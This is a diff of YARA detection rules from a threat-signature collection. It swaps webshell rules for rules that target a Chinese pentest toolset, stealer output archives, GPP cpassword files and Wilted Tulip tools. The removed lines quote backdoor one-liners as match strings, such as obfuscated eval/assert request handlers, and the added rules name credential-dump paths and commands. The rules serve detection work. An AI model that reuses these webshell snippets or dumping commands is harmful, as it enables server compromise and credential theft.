-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "72cb5ef226834ed791144abaa0acdfd4"
-		logic_hash = "28d4d380b25da05a3be439bad72725fa49c947535dfeb5c24994a849c0592b81"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2307-L2321"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
+		logic_hash = "2f67b3be31b1d1eb420b40ec291db7271acd692af9f061d5db17415685cf7546"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "sod=Array(\"D\",\"7\",\"S"
+		$s1 = "[+] Set to %d exploit half succeeded" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <30KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Asp1
+rule SIGNATURE_BASE_CN_Honker_Htran2_4 : FILE
 {
 	meta:
-		description = "Web shells - generated from file asp1.asp"
+		description = "Sample from CN Honker Pentest Toolset - file HTran2.4.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "21cb5ec5-900d-5092-8c2b-2d951289957c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3509-L3523"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b63e708cd58ae1ec85cf784060b69cad"
-		logic_hash = "6c76c5388825e29d333096d4cfa3782b7776f31b206a0ed5a8809428d698778b"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2323-L2338"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "524f986692f55620013ab5a06bf942382e64d38a"
+		logic_hash = "dd1332d3dca12513b1f8a1d10148f6fa2eb7cc809ac7cf6f4dcc9090746718b5"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = " http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave " fullword
-		$s2 = " <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>" fullword
+		$s1 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii
+		$s2 = "[+] New connection %s:%d !!" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <180KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Php6
+rule SIGNATURE_BASE_CN_Honker_Skinhrootkit_Skinh : FILE
 {
 	meta:
-		description = "Web shells - generated from file php6.php"
+		description = "Sample from CN Honker Pentest Toolset - file SkinH.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "8aedd01c-9dc8-537d-97ea-bc8de81edd3d"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3524-L3539"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ea75280224a735f1e445d244acdfeb7b"
-		logic_hash = "495dc6c6769b8605ea946c012ad0ebb54685e7e91afd383027640753d90c6b3f"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2340-L2356"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d593f03ae06e54b653c7850c872c0eed459b301f"
+		logic_hash = "97314a8c908c714c39ea8962c87709fdc422c3e2998a2b1694950fa127204335"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "array_map(\"asx73ert\",(ar"
-		$s3 = "preg_replace(\"/[errorpage]/e\",$page,\"saft\");" fullword
-		$s4 = "shell.php?qid=zxexp  " fullword
+		$s0 = "(C)360.cn Inc.All Rights Reserved." fullword wide
+		$s1 = "SDVersion.dll" fullword wide
+		$s2 = "skinh.dll" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Xxx
+rule SIGNATURE_BASE_CN_Honker__Postgresql_Mysql_Injectv1_1_Creak_Oracle_Sqlserver_Inject_Creaked : FILE
 {
 	meta:
-		description = "Web shells - generated from file xxx.php"
+		description = "Sample from CN Honker Pentest Toolset"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "0272776c-8dbe-5345-92c8-57593686a84c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3540-L3553"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0e71428fe68b39b70adb6aeedf260ca0"
-		logic_hash = "837ed266af8a65ac683be39c32509df34bc8041b336a71c12700ca73bf210b4d"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2358-L2378"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed809a5fb35d36b2a8758e470657bda1a04d80577d5129962cd7d0ab9a80cf8a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
+		hash1 = "a1f066789f48a76023598c5777752c15f91b76b0"
+		hash2 = "0264f4efdba09eaf1e681220ba96de8498ab3580"
+		hash3 = "af3c41756ec8768483a4cf59b2e639994426e2c2"
 
 	strings:
-		$s3 = "<?php array_map(\"ass\\x65rt\",(array)$_REQUEST['expdoor']);?>" fullword
+		$s1 = "zhaoxypass@yahoo.com.cn" fullword ascii
+		$s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
+		$s3 = "ProxyParams.ProxyPort" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Webshell_Getpostphp
+rule SIGNATURE_BASE_CN_Honker__Wwwscan_Wwwscan_Wwwscan_Gui : FILE
 {
 	meta:
-		description = "Web shells - generated from file GetPostpHp.php"
+		description = "Sample from CN Honker Pentest Toolset - from files wwwscan.exe, wwwscan.exe, wwwscan_gui.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "02f80151-4dfb-5b14-9145-312a9bd2c609"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3554-L3567"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "20ede5b8182d952728d594e6f2bb5c76"
-		logic_hash = "e75f66200593c3fdaadf1881235847f6c3f3caadcb7ffe13e8b01bce5f922702"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2380-L2398"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0fd6ab38dca839605c1b7cd51a4a8d3268551f0725ccee7c7521f13d6f9e7076"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
+		hash1 = "6bed45629c5e54986f2d27cbfc53464108911026"
+		hash2 = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
 
 	strings:
-		$s0 = "<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>" fullword
+		$s1 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$s2 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Php5
+rule SIGNATURE_BASE_CN_Honker__LPK_LPK_LPK : FILE
 {
 	meta:
-		description = "Web shells - generated from file php5.php"
+		description = "Sample from CN Honker Pentest Toolset - from files LPK.DAT, LPK.DAT, LPK.DAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "e1beb88b-d3e8-5868-affb-e59c26e4dc2e"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3568-L3581"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cf2ab009cbd2576a806bfefb74906fdf"
-		logic_hash = "280be378bc6cf52ef9454083180015ed00f9d0bc936620a4105c34c3a3002383"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2400-L2421"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0309241ed0e899519cf3edd1544a14d09fff4a8162514ae49b3a6b70eda1ed4f"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "5a1226e73daba516c889328f295e728f07fdf1c3"
+		hash1 = "2b2ab50753006f62965bba83460e3960ca7e1926"
+		hash2 = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
 
 	strings:
-		$s0 = "<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_u"
+		$s1 = "C:\\WINDOWS\\system32\\cmd.exe" fullword wide
+		$s2 = "Password error!" fullword ascii
+		$s3 = "\\sathc.exe" ascii
+		$s4 = "\\sothc.exe" ascii
+		$s5 = "\\lpksethc.bat" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1057KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_PHP
+rule SIGNATURE_BASE_CN_Honker__Builder_Shift_Skinh : FILE
 {
 	meta:
-		description = "Web shells - generated from file PHP.php"
+		description = "Sample from CN Honker Pentest Toolset - from files builder.exe, shift.exe, SkinH.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "cb18aa4a-6eba-58ca-a6fc-e4160b90f4d7"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3582-L3599"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a524e7ae8d71e37d2fd3e5fbdab405ea"
-		logic_hash = "706f835f63e153f907ae8a5a48f1dc4b9d3b8511b21b7155bc045b0ebdc893fc"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2423-L2444"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d15802df98d72b4ef3bac2dfb8ba3338c540ef7290d7ddf9738cf0f7b86e17ea"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "6b5a84cdc3d27c435d49de3f68872d015a5aadfc"
+		hash1 = "ee127c1ea1e3b5bf3d2f8754fabf9d1101ed0ee0"
+		hash2 = "d593f03ae06e54b653c7850c872c0eed459b301f"
 
 	strings:
-		$s1 = "echo \"<font color=blue>Error!</font>\";" fullword
-		$s2 = "<input type=\"text\" size=61 name=\"f\" value='<?php echo $_SERVER[\"SCRIPT_FILE"
-		$s5 = " - ExpDoor.com</title>" fullword
-		$s10 = "$f=fopen($_POST[\"f\"],\"w\");" fullword
-		$s12 = "<textarea name=\"c\" cols=60 rows=15></textarea><br>" fullword
+		$s1 = "lipboard" fullword ascii
+		$s2 = "uxthem" fullword ascii
+		$s3 = "ENIGMA" fullword ascii
+		$s4 = "UtilW0ndow" fullword ascii
+		$s5 = "prog3am" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <6075KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Asp
+rule SIGNATURE_BASE_CN_Honker__Lcx_Htran2_4_Htran20 : FILE
 {
 	meta:
-		description = "Web shells - generated from file Asp.asp"
+		description = "Sample from CN Honker Pentest Toolset - from files lcx.exe, HTran2.4.exe, htran20.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "c6851e7b-ab64-5578-896e-4d92fb3b2000"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3600-L3615"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "32c87744ea404d0ea0debd55915010b7"
-		logic_hash = "dd2e9f753e8fa781c28c2d5bb9336bb3f39ed8a496bd89eb54bc1812ef512ab5"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2446-L2465"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "30184394ad3ec7bf209bb0a22da889699bac6167ecc09e693c88f8643c754394"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
+		hash1 = "524f986692f55620013ab5a06bf942382e64d38a"
+		hash2 = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
 
 	strings:
-		$s1 = "Execute MorfiCoder(\")/*/z/*/(tseuqer lave\")" fullword
-		$s2 = "Function MorfiCoder(Code)" fullword
-		$s3 = "MorfiCoder=Replace(Replace(StrReverse(Code),\"/*/\",\"\"\"\"),\"\\*\\\",vbCrlf)" fullword
+		$s1 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s2 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s3 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <440KB and all of them
 }
-rule SIGNATURE_BASE_Perlbot_Pl
+rule SIGNATURE_BASE_CN_Honker__D_Injection_V2_32_D_Injection_V2_32_D_Injection_V2_32 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file perlbot.pl.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "378cb0e4-2069-50b7-ab3e-5a81055e9983"
-		date = "2023-12-05"
+		description = "Sample from CN Honker Pentest Toolset - from files D_injection_V2.32.exe, D_injection_V2.32.exe, D_injection_V2.32.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "79e9cd97-c070-5109-a0a0-bc88eea0dc37"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3619-L3630"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7e4deb9884ffffa5d82c22f8dc533a45"
-		logic_hash = "784980d620e71fb0cf5aed9ef8bd171a8f50d850bc782645575070b75c42e426"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2467-L2488"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5c318c670b3aedf66da1c6444df7d630d2263e88527facfcf75d76dd974e7d31"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		hash1 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		hash2 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
 
 	strings:
-		$s0 = "my @adms=(\"Kelserific\",\"Puna\",\"nod32\")"
-		$s1 = "#Acesso a Shel - 1 ON 0 OFF"
+		$s1 = "upfile.asp " fullword ascii
+		$s2 = "[wscript.shell]" fullword ascii
+		$s3 = "XP_CMDSHELL" fullword ascii
+		$s4 = "[XP_CMDSHELL]" fullword ascii
+		$s5 = "http://d99net.3322.org" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <10000KB and 4 of them
 }
-rule SIGNATURE_BASE_Php_Backdoor_Php
+rule SIGNATURE_BASE_SUSP_MAL_EXFIL_Stealer_Output_Characteristics_Sep22_1 : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file php-backdoor.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "aca53071-f793-538d-bbeb-34469cdb4d1f"
-		date = "2023-12-05"
+		description = "Detects typical stealer output files as created by RedLine or Racoon stealer"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c1cab3c3-c4f3-5a19-9ea3-9e4242238359"
+		date = "2022-09-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3631-L3643"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
-		logic_hash = "acab82b40760b45d49da51953f78c69166955de54918634c9bfe394208cdbb56"
-		score = 75
+		reference = "https://twitter.com/cglyer/status/1570965878480719873"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_stealer_exfil_zip.yar#L2-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "197bb4b837cdd635f9340547b10a90c3a2a17f0113076c5ccbc0a91b7ae18eeb"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "8ce14c6b720281f43c75ce52e23ec13d08e7b2be1c5fbc2d704238f1fdd1a07f"
+		hash2 = "011c19d18fa446a2619b3a2512dacb2694e1da99a2c2ea7828769f1373ecd8fe"
+		hash3 = "418530bc7210f74ada8e7f16b41ea2033054e99f0c4423ce1d3ebf973c89e3a3"
+		hash4 = "aa6e2c8447f66527f9b6f4d54f57edc6cabe56095df94dc0656dca02e11356ab"
+		hash5 = "bbfb608061931565debac405ffebe3c4bb5dac8042443fe4e80aa03395955bd2"
+		hash6 = "c15107beecf3301fb12d140690034717e16bd5312a746e7ff43a7925e5533260"
 
 	strings:
-		$s0 = "http://michaeldaw.org   2006"
-		$s1 = "or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win"
-		$s3 = "coded by z0mbie"
+		$sa1 = "passwords.txt" ascii
+		$sa2 = "autofills/" ascii
+		$sa3 = "browsers/cookies/" ascii
+		$sa4 = "wallets/" ascii
+		$sb1 = "Passwords.txt" ascii
+		$sb2 = "Autofills/" ascii
+		$sb3 = "Browsers/Cookies/" ascii
+		$sb4 = "Wallets/" ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x4b50 and filesize <5000KB and (2 of ($sa*) or 2 of ($sb*))
 }
-rule SIGNATURE_BASE_Liz0Zim_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_Php
+rule SIGNATURE_BASE_Groups_Cpassword : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "e91114ce-18f9-51cd-b41c-b796960ea4fe"
-		date = "2023-12-05"
+		description = "Groups XML contains cpassword value, which is decrypted password - key is in MSDN http://goo.gl/mHrC8P"
+		author = "Florian Roth (Nextron Systems)"
+		id = "37036df9-871f-5ecd-acac-6a064d298115"
+		date = "2015-09-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3644-L3656"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
-		logic_hash = "a0606dad4474579354709fe6306d15427afc4dec8ad6760a0ee9e91c86c23e4d"
-		score = 75
+		reference = "http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_gpp_cpassword.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "de37dc77d9a2462f5d54ad5225405c6d95dad39e67a893f5442b26dc641a20f9"
+		score = 50
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<option value=\"cat /var/cpanel/accounting.log\">/var/cpanel/accounting.log</opt"
-		$s1 = "Liz0ziM Private Safe Mode Command Execuriton Bypass"
-		$s2 = "echo \"<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>\";" fullword
+		$s1 = / cpassword=\"[^\"]/ ascii
+		$s2 = " changeLogon=" ascii
+		$s3 = " description=" ascii
+		$s4 = " acctDisabled=" ascii
 
 	condition:
-		1 of them
+		uint32be(0)==0x3C3F786D and filesize <1000KB and all of ($s*)
 }
-rule SIGNATURE_BASE_Nshell__1__Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Tools_Back : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Nshell (1).php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "44e8b6c5-6f41-5c37-a083-26acedd91956"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3657-L3668"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "973fc89694097a41e684b43a21b1b099"
-		logic_hash = "53c7cd24c4eddbded1b4c16fd2758bdf66c0bbe396e487a56d56fc053cf3cc1a"
+		description = "Detects Chrome password dumper used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3f57bd66-b269-5f59-ade1-f881b1d7dadd"
+		date = "2017-07-23"
+		modified = "2022-12-21"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L13-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a23491cbb24177c027695d8f677c4a72ed0404c4c38356eec4b92f2d06be2ee"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b7faeaa6163e05ad33b310a8fdc696ccf1660c425fa2a962c3909eada5f2c265"
 
 	strings:
-		$s0 = "echo \"Command : <INPUT TYPE=text NAME=cmd value=\".@stripslashes(htmlentities($"
-		$s1 = "if(!$whoami)$whoami=exec(\"whoami\"); echo \"whoami :\".$whoami.\"<br>\";" fullword
+		$x1 = "%s.exe -f \"C:\\Users\\Admin\\Google\\Chrome\\TestProfile\" -o \"c:\\passlist.txt\"" fullword ascii
+		$x2 = "\\ChromePasswordDump\\Release\\FireMaster.pdb" ascii
+		$x3 = "//Dump Chrome Passwords to a Output file \"c:\\passlist.txt\"" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
 }
-rule SIGNATURE_BASE_Shankar_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Tools_Clrlg : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file shankar.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "0c8ab3eb-574b-5e5a-8117-4efecef94f83"
-		date = "2023-12-05"
+		description = "Detects Windows eventlog cleaner used in Operation Wilted Tulip - file clrlg.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6957c97d-2c2d-50ac-8fd5-2f299fc7b5c8"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3669-L3681"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6eb9db6a3974e511b7951b8f7e7136bb"
-		logic_hash = "58b365206c18b8394cf1e03b71b8e47be10bc933bc2c05b7b03b7dad94f6d6b8"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L31-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "003f711ac6f2308f2bdc638da7c654686e7402db7b3837120168e5a99b774537"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
